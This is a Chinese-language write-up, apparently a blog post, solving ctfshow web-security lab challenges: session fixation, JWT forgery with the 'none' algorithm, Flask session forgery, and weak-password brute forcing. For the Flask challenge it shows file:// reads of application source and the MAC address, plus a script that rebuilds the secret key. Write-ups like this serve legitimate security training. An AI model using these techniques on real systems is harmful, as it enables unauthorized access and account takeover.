ctfshowWeb应用安全与防护(第四章)wp

Session固定攻击

登录test账号,给admin发送消息

image-20250917114638166

回到主页发现用户名变成了admin,获得了flag

image-20250917114721292

JWT令牌伪造

先随便输入一个用户名,获得jwt token

image-20250917114913621

JWT伪造网站 JSON Web Tokens - jwt.io

由于没有校验签名, 我们可以采用 None 攻击,将alg改为none,admin改为True

image-20250917115114939

修改cookie,刷新

image-20250917115155858

Flask_Session伪造

点击读取网页,进入了百度

image-20250917115339904

发现url参数,尝试任意文件读取,发现file协议可以使用

image-20250917115500771

常见伪协议

1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

想要伪造flask_session需要拿到secret_key,先读取源码,flask工作目录一般都是/app/app.py

image-20250917120606034

# encoding:utf-8 
import re, random, uuid, urllib.request 
from flask import Flask, session, request 
app = Flask(__name__) 
random.seed(uuid.getnode()) 
app.config['SECRET_KEY'] = str(random.random()*100) 
print(app.config['SECRET_KEY']) 
app.debug = False 
@app.route('/') 
def index(): 
    session['username'] = 'guest' 
    return 'CTFshow 网页爬虫系统 读取网页' 
@app.route('/read') 
def read(): 
    try: 
        url = request.args.get('url') 
        if re.findall('flag', url, re.IGNORECASE): 
            return '禁止访问' 
        res = urllib.request.urlopen(url) 
        return res.read().decode('utf-8', errors='ignore') 
    except Exception as ex: print(str(ex)) return '无读取内容可以展示'
@app.route('/flag') 
def flag(): 
    if session.get('username') == 'admin': 
        return open('/flag.txt', encoding='utf-8').read() 
    else: 
        return '访问受限' 
if __name__=='__main__': 
    app.run( debug=False, host="0.0.0.0" )

思路很简单,伪造flask_session,将其中的用户改成admin,访问/flag得到flag,第一步就是获取secret_key

random.seed(uuid.getnode()) 
app.config['SECRET_KEY'] = str(random.random()*100) 
print(app.config['SECRET_KEY']) 

uuid.getnode()

是Python中用于获取本机硬件地址(通常是MAC地址)的方法。它返回一个48位的正整数,表示设备的硬件地址。

random.seed(uuid.getnode())

当seed固定时,输出的random内容是一样的

image-20250917121320212

image-20250917121358850

读机器码

url=file:///sys/class/net/eth0/address
02:42:ac:0c:64:0f

计算secret_key

import random

mac = int("02:42:ac:0c:64:0f".replace(":",""),16)
random.seed(mac)
key = str(random.random()*100)
print(key) # 40.655192285889655

使用flask-session-cookie-manager伪造session

image-20250917122241855

访问/flag

image-20250917122318121

弱口令爆破

导入附件的字典爆破,用户名一般都是admin

image-20250917122514487

有一条响应长度不一样,密码是834100

image-20250917122616554

posted @ 2025-09-17 12:28  leee0  阅读(128)  评论(0)    收藏  举报